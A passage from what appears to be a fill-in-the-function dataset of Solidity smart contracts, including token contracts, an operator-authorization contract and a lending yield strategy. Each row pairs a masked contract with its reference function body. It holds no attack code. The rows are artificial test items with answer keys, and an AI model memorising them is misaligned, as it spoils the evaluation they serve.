onlyOperator
{
powerStatus = onOff_;
}
function transferOwnership(address newOwner_)
onlyOwner
public
{
owner = newOwner_;
}
function assignOperator(address user_)
public
onlyOwner
{<FILL_FUNCTION_BODY> }
function dismissOperator(address user_)
public
onlyOwner
{
delete authbook[user_];
for(uint i = 0; i < operators.length; i++) {
if(operators[i] == user_) {
operators[i] = operators[operators.length - 1];
operators.length -= 1;
}
}
}
function checkOperator(address user_)
public
view
returns(bool) {
return authbook[user_];
}
} | contract Authorization {
mapping(address => bool) internal authbook;
address[] public operators;
address public owner;
bool public powerStatus = true;
function Authorization()
public
payable
{
owner = msg.sender;
assignOperator(msg.sender);
}
modifier onlyOwner
{
assert(msg.sender == owner);
_;
}
modifier onlyOperator
{
assert(checkOperator(msg.sender));
_;
}
modifier onlyActive
{
assert(powerStatus);
_;
}
function powerSwitch(
bool onOff_
)
public
onlyOperator
{
powerStatus = onOff_;
}
function transferOwnership(address newOwner_)
onlyOwner
public
{
owner = newOwner_;
}
<FILL_FUNCTION>
function dismissOperator(address user_)
public
onlyOwner
{
delete authbook[user_];
for(uint i = 0; i < operators.length; i++) {
if(operators[i] == user_) {
operators[i] = operators[operators.length - 1];
operators.length -= 1;
}
}
}
function checkOperator(address user_)
public
view
returns(bool) {
return authbook[user_];
}
} |
if(user_ != address(0) && !authbook[user_]) {
authbook[user_] = true;
operators.push(user_);
}
| function assignOperator(address user_)
public
onlyOwner
| function assignOperator(address user_)
public
onlyOwner
|
11169 | TPC | transferFrom | contract TPC is ERC20Interface {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) internal allowed;
constructor() public {
name = 'TPC COIN';
symbol = 'TPC';
decimals = 18;
totalSupply = 96000000 ether;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balanceOf[msg.sender]);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | contract TPC is ERC20Interface {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) internal allowed;
constructor() public {
name = 'TPC COIN';
symbol = 'TPC';
decimals = 18;
totalSupply = 96000000 ether;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balanceOf[msg.sender]);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} |
require(_to != address(0));
require(_value <= balanceOf[_from]);
require(_value <= allowed[_from][msg.sender]);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
2788 | ERC20 | decreaseAllowance | contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
// allowedAddresses will be able to transfer even when locked
// lockedAddresses will *not* be able to transfer even when *not locked*
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = false;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner());
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner());
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public view returns (bool) {
if (locked) {
if(!allowedAddresses[_addr] &&_addr != owner()) return false;
} else if (lockedAddresses[_addr]) return false;
return true;
}
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0) && to != address(this));
require(canTransfer(from) && canTransfer(msg.sender));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
} | contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
// allowedAddresses will be able to transfer even when locked
// lockedAddresses will *not* be able to transfer even when *not locked*
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = false;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner());
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner());
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public view returns (bool) {
if (locked) {
if(!allowedAddresses[_addr] &&_addr != owner()) return false;
} else if (lockedAddresses[_addr]) return false;
return true;
}
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
<FILL_FUNCTION>
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0) && to != address(this));
require(canTransfer(from) && canTransfer(msg.sender));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
} |
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
| function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) | /**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) |
17745 | Token | totalSupply | contract Token {
string internal _symbol;
string internal _name;
uint8 internal _decimals;
uint internal _totalSupply;
mapping (address => uint) internal _balanceOf;
mapping (address => mapping (address => uint)) internal _allowances;
constructor(string memory symbol, string memory name, uint8 decimals, uint totalSupply) public {
_symbol = symbol;
_name = name;
_decimals = decimals;
_totalSupply = totalSupply * 10**uint(decimals);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint) {<FILL_FUNCTION_BODY> }
function balanceOf(address _addr) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
} | contract Token {
string internal _symbol;
string internal _name;
uint8 internal _decimals;
uint internal _totalSupply;
mapping (address => uint) internal _balanceOf;
mapping (address => mapping (address => uint)) internal _allowances;
constructor(string memory symbol, string memory name, uint8 decimals, uint totalSupply) public {
_symbol = symbol;
_name = name;
_decimals = decimals;
_totalSupply = totalSupply * 10**uint(decimals);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
<FILL_FUNCTION>
function balanceOf(address _addr) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
} |
return _totalSupply;
| function totalSupply() public view returns (uint) | function totalSupply() public view returns (uint) |
28826 | Strategy | manualAllocation | contract Strategy is BaseStrategy{
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IGenericLender[] public lenders;
constructor(address _vault) public BaseStrategy(_vault) {
// You can set these parameters on deployment to whatever you want
minReportDelay = 6300;
profitFactor = 100;
debtThreshold = 1 gwei;
//we do this horrible thing because you can't compare strings in solidity
require(keccak256(bytes(apiVersion())) == keccak256(bytes(VaultAPI(_vault).apiVersion())), "WRONG VERSION");
}
// ******** OVERRIDE THESE METHODS FROM BASE CONTRACT ************
function name() external override pure returns (string memory) {
// Add your own name here, suggestion e.g. "StrategyCreamYFI"
return "StrategyLenderYieldOptimiser";
}
//management functions
function addLender(address a) public management{
IGenericLender n = IGenericLender(a);
for(uint i = 0; i < lenders.length; i++){
require(a != address(lenders[i]), "Already Added");
}
lenders.push(n);
}
function safeRemoveLender(address a) public management{
_removeLender(a, false);
}
function forceRemoveLender(address a) public management{
_removeLender(a, true);
}
function _removeLender(address a, bool force) internal {
for(uint i = 0; i < lenders.length; i++){
if(a == address(lenders[i])){
bool allWithdrawn = lenders[i].withdrawAll();
if(!force){
require(allWithdrawn, "WITHDRAW FAILED");
}
//put the last index here
//remove last index
if(i != lenders.length){
lenders[i] = lenders[lenders.length-1];
}
delete lenders[lenders.length-1];
//if balance to spend
if(want.balanceOf(address(this)) > 0){
adjustPosition(0);
}
return;
}
}
require(false, "NOT LENDER");
}
struct lendStatus{
string name;
uint256 assets;
uint256 rate;
}
function lendStatuses() public view returns(lendStatus[] memory){
lendStatus[] memory statuses = new lendStatus[](lenders.length);
for(uint i = 0; i < lenders.length; i++){
lendStatus memory s;
s.name = lenders[i].lenderName();
s.assets = lenders[i].nav();
s.rate = lenders[i].apr();
statuses[i] = s;
}
return statuses;
}
// lent assets plus loose assets
function estimatedTotalAssets() public override view returns (uint256) {
uint256 nav = lentTotalAssets();
nav += want.balanceOf(address(this));
return nav;
}
function numLenders() public view returns (uint256) {
return lenders.length;
}
function estimatedAPR() public view returns (uint256) {
uint256 weightedAPR = 0;
for(uint i = 0; i < lenders.length; i++){
weightedAPR += lenders[i].weightedApr();
}
uint256 bal = estimatedTotalAssets();
return weightedAPR.div(bal);
}
function _estimateDebtLimitIncrease(uint256 change) internal view returns (uint256){
uint256 highestAPR = 0;
uint256 aprChoice = 0;
uint256 assets = 0;
for(uint i = 0; i < lenders.length; i++){
uint256 apr = lenders[i].aprAfterDeposit(change);
if(apr > highestAPR){
aprChoice = i;
highestAPR = apr;
assets = lenders[i].nav();
}
}
uint256 weightedAPR =highestAPR.mul(assets.add(change));
for(uint i = 0; i < lenders.length; i++){
if(i != aprChoice){
weightedAPR += lenders[i].weightedApr();
}
}
uint256 bal = estimatedTotalAssets().add(change);
return weightedAPR.div(bal);
}
//TODO: needs improvement. more complicated than limit increase
function _estimateDebtLimitDecrease(uint256 change) internal view returns (uint256){
uint256 lowestApr = uint256(-1);
uint256 aprChoice = 0;
for(uint i = 0; i < lenders.length; i++){
uint256 apr = lenders[i].aprAfterDeposit(change);
if(apr < lowestApr){
aprChoice = i;
lowestApr = apr;
}
}
uint256 weightedAPR =0;
for(uint i = 0; i < lenders.length; i++){
if(i != aprChoice){
weightedAPR += lenders[i].weightedApr();
}else{
uint256 asset = lenders[i].nav();
if(asset < change){
//simplistic. not accurate
change = asset;
}
weightedAPR += lowestApr.mul(change);
}
}
uint256 bal = estimatedTotalAssets().add(change);
return weightedAPR.div(bal);
}
function estimatedFutureAPR(uint256 newDebtLimit) public view returns (uint256) {
uint256 oldDebtLimit = vault.strategies(address(this)).totalDebt;
uint256 change;
if(oldDebtLimit < newDebtLimit){
change = newDebtLimit - oldDebtLimit;
return _estimateDebtLimitIncrease(change);
}else{
change = oldDebtLimit - newDebtLimit;
return _estimateDebtLimitDecrease(change);
}
}
//cycle all lenders and collect balances
function lentTotalAssets() public view returns (uint256) {
uint nav = 0;
for(uint i = 0; i < lenders.length; i++){
nav += lenders[i].nav();
}
return nav;
}
//we need to free up profit plus _debtOutstanding.
//If _debtOutstanding is more than we can free we get as much as possible
function prepareReturn(uint256 _debtOutstanding) internal override returns (uint256 _profit) {
uint256 lentAssets = lentTotalAssets();
uint256 looseAssets = want.balanceOf(address(this));
uint256 total = looseAssets.add(lentAssets);
if (lentAssets == 0) {
//no position to harvest or profit to report
if(_debtOutstanding > looseAssets){
setReserve(0);
}else{
setReserve(looseAssets.sub(_debtOutstanding));
}
return 0;
}
if (getReserve() != 0) {
//reset reserve so it doesnt interfere anywhere else
setReserve(0);
}
uint256 debt = vault.strategies(address(this)).totalDebt;
if(total > debt){
uint profit = total-debt;
uint amountToFree = profit.add(_debtOutstanding);
//we need to add outstanding to our profit
if(looseAssets >= amountToFree){
setReserve(looseAssets - amountToFree);
}else{
//change profit to what we can withdraw
_withdrawSome(amountToFree.sub(looseAssets));
uint256 newLoose = want.balanceOf(address(this));
if(newLoose > amountToFree){
setReserve(newLoose - amountToFree);
}else{
setReserve(0);
}
}
return profit;
} else {
if(looseAssets <= _debtOutstanding){
setReserve(0);
}else{
setReserve(looseAssets - _debtOutstanding);
}
return 0;
}
}
/*
* Key logic.
* The algorithm moves assets from lowest return to highest
* like a very slow idiots bubble sort
* we ignore debt outstanding for an easy life
*
*/
function adjustPosition(uint256 _debtOutstanding) internal override {
_debtOutstanding; //ignored
//emergency exit is dealt with at beginning of harvest
if (emergencyExit) {
return;
}
//reset reserve and refund some gas
setReserve(0);
//all loose assets are to be invested
uint256 looseAssets = want.balanceOf(address(this));
// our simple algo
// get the lowest apr strat
// cycle through and see who could take its funds plus want for the highest apr
uint256 lowestApr = uint256(-1);
uint256 lowest = 0;
uint256 lowestNav = 0;
for(uint i = 0; i < lenders.length; i++){
if(lenders[i].hasAssets()){
uint256 apr = lenders[i].apr();
if(apr < lowestApr){
lowestApr = apr;
lowest = i;
lowestNav = lenders[i].nav();
}
}
}
uint256 toAdd = lowestNav.add(looseAssets);
uint256 highestApr = 0;
uint256 highest = 0;
for(uint i = 0; i < lenders.length; i++){
uint256 apr;
apr = lenders[i].aprAfterDeposit(looseAssets);
if(apr > highestApr){
highestApr = apr;
highest = i;
}
}
//if we can improve apr by withdrawing we do so
uint256 potential = lenders[highest].aprAfterDeposit(toAdd);
if(potential > lowestApr){
//apr should go down after deposit so wont be withdrawing from self
lenders[lowest].withdrawAll();
}
want.safeTransfer(address(lenders[highest]), want.balanceOf(address(this)));
lenders[highest].deposit();
}
struct lenderRatio{
address lender;
//share x 1000
uint16 share;
}
//share should add up to 1000.
function manualAllocation(lenderRatio[] memory _newPositions) public management {<FILL_FUNCTION_BODY> }
//cycle through withdrawing from worst rate first
function _withdrawSome(uint256 _amount) internal returns(uint256 amountWithdrawn) {
//most situations this will only run once. Only big withdrawals will be a gas guzzler
while(amountWithdrawn < _amount){
uint256 lowestApr = uint256(-1);
uint256 lowest = 0;
for(uint i = 0; i < lenders.length; i++){
if(lenders[i].hasAssets()){
uint256 apr = lenders[i].apr();
if(apr < lowestApr){
lowestApr = apr;
lowest = i;
}
}
}
if(!lenders[lowest].hasAssets()){
return amountWithdrawn;
}
amountWithdrawn += lenders[lowest].withdraw(_amount);
}
}
function exitPosition() internal override {
uint balance = lentTotalAssets();
if(balance > 0){
_withdrawSome(balance);
}
setReserve(0);
}
/*
* Liquidate as many assets as possible to `want`, irregardless of slippage,
* up to `_amountNeeded`. Any excess should be re-invested here as well.
*/
function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed) {
uint256 _balance = want.balanceOf(address(this));
if(_balance >= _amountNeeded){
//if we don't set reserve here withdrawer will be sent our full balance
setReserve(_balance.sub(_amountNeeded));
return _amountNeeded;
}else{
uint received = _withdrawSome(_amountNeeded - _balance).add(_balance);
if(received > _amountNeeded){
return _amountNeeded;
}else{
return received;
}
}
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
/*
* Do anything necesseary to prepare this strategy for migration, such
* as transfering any reserve or LP tokens, CDPs, or other tokens or stores of value.
*/
function prepareMigration(address _newStrategy) internal override {
exitPosition();
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
// Override this to add all tokens/tokenized positions this contract manages
// on a *persistant* basis (e.g. not just for swapping back to want ephemerally)
// NOTE: Do *not* include `want`, already included in `sweep` below
//
// Example:
//
// function protectedTokens() internal override view returns (address[] memory) {
// address[] memory protected = new address[](3);
// protected[0] = tokenA;
// protected[1] = tokenB;
// protected[2] = tokenC;
// return protected;
// }
function protectedTokens() internal override view returns (address[] memory) {
address[] memory protected = new address[](2);
protected[0] = address(want);
return protected;
}
modifier management(){
require(msg.sender == governance() || msg.sender == strategist, "!management");
_;
}
} | contract Strategy is BaseStrategy{
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IGenericLender[] public lenders;
constructor(address _vault) public BaseStrategy(_vault) {
// You can set these parameters on deployment to whatever you want
minReportDelay = 6300;
profitFactor = 100;
debtThreshold = 1 gwei;
//we do this horrible thing because you can't compare strings in solidity
require(keccak256(bytes(apiVersion())) == keccak256(bytes(VaultAPI(_vault).apiVersion())), "WRONG VERSION");
}
// ******** OVERRIDE THESE METHODS FROM BASE CONTRACT ************
function name() external override pure returns (string memory) {
// Add your own name here, suggestion e.g. "StrategyCreamYFI"
return "StrategyLenderYieldOptimiser";
}
//management functions
function addLender(address a) public management{
IGenericLender n = IGenericLender(a);
for(uint i = 0; i < lenders.length; i++){
require(a != address(lenders[i]), "Already Added");
}
lenders.push(n);
}
function safeRemoveLender(address a) public management{
_removeLender(a, false);
}
function forceRemoveLender(address a) public management{
_removeLender(a, true);
}
function _removeLender(address a, bool force) internal {
for(uint i = 0; i < lenders.length; i++){
if(a == address(lenders[i])){
bool allWithdrawn = lenders[i].withdrawAll();
if(!force){
require(allWithdrawn, "WITHDRAW FAILED");
}
//put the last index here
//remove last index
if(i != lenders.length){
lenders[i] = lenders[lenders.length-1];
}
delete lenders[lenders.length-1];
//if balance to spend
if(want.balanceOf(address(this)) > 0){
adjustPosition(0);
}
return;
}
}
require(false, "NOT LENDER");
}
struct lendStatus{
string name;
uint256 assets;
uint256 rate;
}
function lendStatuses() public view returns(lendStatus[] memory){
lendStatus[] memory statuses = new lendStatus[](lenders.length);
for(uint i = 0; i < lenders.length; i++){
lendStatus memory s;
s.name = lenders[i].lenderName();
s.assets = lenders[i].nav();
s.rate = lenders[i].apr();
statuses[i] = s;
}
return statuses;
}
// lent assets plus loose assets
function estimatedTotalAssets() public override view returns (uint256) {
uint256 nav = lentTotalAssets();
nav += want.balanceOf(address(this));
return nav;
}
function numLenders() public view returns (uint256) {
return lenders.length;
}
function estimatedAPR() public view returns (uint256) {
uint256 weightedAPR = 0;
for(uint i = 0; i < lenders.length; i++){
weightedAPR += lenders[i].weightedApr();
}
uint256 bal = estimatedTotalAssets();
return weightedAPR.div(bal);
}
function _estimateDebtLimitIncrease(uint256 change) internal view returns (uint256){
uint256 highestAPR = 0;
uint256 aprChoice = 0;
uint256 assets = 0;
for(uint i = 0; i < lenders.length; i++){
uint256 apr = lenders[i].aprAfterDeposit(change);
if(apr > highestAPR){
aprChoice = i;
highestAPR = apr;
assets = lenders[i].nav();
}
}
uint256 weightedAPR =highestAPR.mul(assets.add(change));
for(uint i = 0; i < lenders.length; i++){
if(i != aprChoice){
weightedAPR += lenders[i].weightedApr();
}
}
uint256 bal = estimatedTotalAssets().add(change);
return weightedAPR.div(bal);
}
//TODO: needs improvement. more complicated than limit increase
function _estimateDebtLimitDecrease(uint256 change) internal view returns (uint256){
uint256 lowestApr = uint256(-1);
uint256 aprChoice = 0;
for(uint i = 0; i < lenders.length; i++){
uint256 apr = lenders[i].aprAfterDeposit(change);
if(apr < lowestApr){
aprChoice = i;
lowestApr = apr;
}
}
uint256 weightedAPR =0;
for(uint i = 0; i < lenders.length; i++){
if(i != aprChoice){
weightedAPR += lenders[i].weightedApr();
}else{
uint256 asset = lenders[i].nav();
if(asset < change){
//simplistic. not accurate
change = asset;
}
weightedAPR += lowestApr.mul(change);
}
}
uint256 bal = estimatedTotalAssets().add(change);
return weightedAPR.div(bal);
}
function estimatedFutureAPR(uint256 newDebtLimit) public view returns (uint256) {
uint256 oldDebtLimit = vault.strategies(address(this)).totalDebt;
uint256 change;
if(oldDebtLimit < newDebtLimit){
change = newDebtLimit - oldDebtLimit;
return _estimateDebtLimitIncrease(change);
}else{
change = oldDebtLimit - newDebtLimit;
return _estimateDebtLimitDecrease(change);
}
}
//cycle all lenders and collect balances
function lentTotalAssets() public view returns (uint256) {
uint nav = 0;
for(uint i = 0; i < lenders.length; i++){
nav += lenders[i].nav();
}
return nav;
}
//we need to free up profit plus _debtOutstanding.
//If _debtOutstanding is more than we can free we get as much as possible
function prepareReturn(uint256 _debtOutstanding) internal override returns (uint256 _profit) {
uint256 lentAssets = lentTotalAssets();
uint256 looseAssets = want.balanceOf(address(this));
uint256 total = looseAssets.add(lentAssets);
if (lentAssets == 0) {
//no position to harvest or profit to report
if(_debtOutstanding > looseAssets){
setReserve(0);
}else{
setReserve(looseAssets.sub(_debtOutstanding));
}
return 0;
}
if (getReserve() != 0) {
//reset reserve so it doesnt interfere anywhere else
setReserve(0);
}
uint256 debt = vault.strategies(address(this)).totalDebt;
if(total > debt){
uint profit = total-debt;
uint amountToFree = profit.add(_debtOutstanding);
//we need to add outstanding to our profit
if(looseAssets >= amountToFree){
setReserve(looseAssets - amountToFree);
}else{
//change profit to what we can withdraw
_withdrawSome(amountToFree.sub(looseAssets));
uint256 newLoose = want.balanceOf(address(this));
if(newLoose > amountToFree){
setReserve(newLoose - amountToFree);
}else{
setReserve(0);
}
}
return profit;
} else {
if(looseAssets <= _debtOutstanding){
setReserve(0);
}else{
setReserve(looseAssets - _debtOutstanding);
}
return 0;
}
}
/*
* Key logic.
* The algorithm moves assets from lowest return to highest
* like a very slow idiots bubble sort
* we ignore debt outstanding for an easy life
*
*/
function adjustPosition(uint256 _debtOutstanding) internal override {
_debtOutstanding; //ignored
//emergency exit is dealt with at beginning of harvest
if (emergencyExit) {
return;
}
//reset reserve and refund some gas
setReserve(0);
//all loose assets are to be invested
uint256 looseAssets = want.balanceOf(address(this));
// our simple algo
// get the lowest apr strat
// cycle through and see who could take its funds plus want for the highest apr
uint256 lowestApr = uint256(-1);
uint256 lowest = 0;
uint256 lowestNav = 0;
for(uint i = 0; i < lenders.length; i++){
if(lenders[i].hasAssets()){
uint256 apr = lenders[i].apr();
if(apr < lowestApr){
lowestApr = apr;
lowest = i;
lowestNav = lenders[i].nav();
}
}
}
uint256 toAdd = lowestNav.add(looseAssets);
uint256 highestApr = 0;
uint256 highest = 0;
for(uint i = 0; i < lenders.length; i++){
uint256 apr;
apr = lenders[i].aprAfterDeposit(looseAssets);
if(apr > highestApr){
highestApr = apr;
highest = i;
}
}
//if we can improve apr by withdrawing we do so
uint256 potential = lenders[highest].aprAfterDeposit(toAdd);
if(potential > lowestApr){
//apr should go down after deposit so wont be withdrawing from self
lenders[lowest].withdrawAll();
}
want.safeTransfer(address(lenders[highest]), want.balanceOf(address(this)));
lenders[highest].deposit();
}
struct lenderRatio{
address lender;
//share x 1000
uint16 share;
}
<FILL_FUNCTION>
//cycle through withdrawing from worst rate first
function _withdrawSome(uint256 _amount) internal returns(uint256 amountWithdrawn) {
//most situations this will only run once. Only big withdrawals will be a gas guzzler
while(amountWithdrawn < _amount){
uint256 lowestApr = uint256(-1);
uint256 lowest = 0;
for(uint i = 0; i < lenders.length; i++){
if(lenders[i].hasAssets()){
uint256 apr = lenders[i].apr();
if(apr < lowestApr){
lowestApr = apr;
lowest = i;
}
}
}
if(!lenders[lowest].hasAssets()){
return amountWithdrawn;
}
amountWithdrawn += lenders[lowest].withdraw(_amount);
}
}
function exitPosition() internal override {
uint balance = lentTotalAssets();
if(balance > 0){
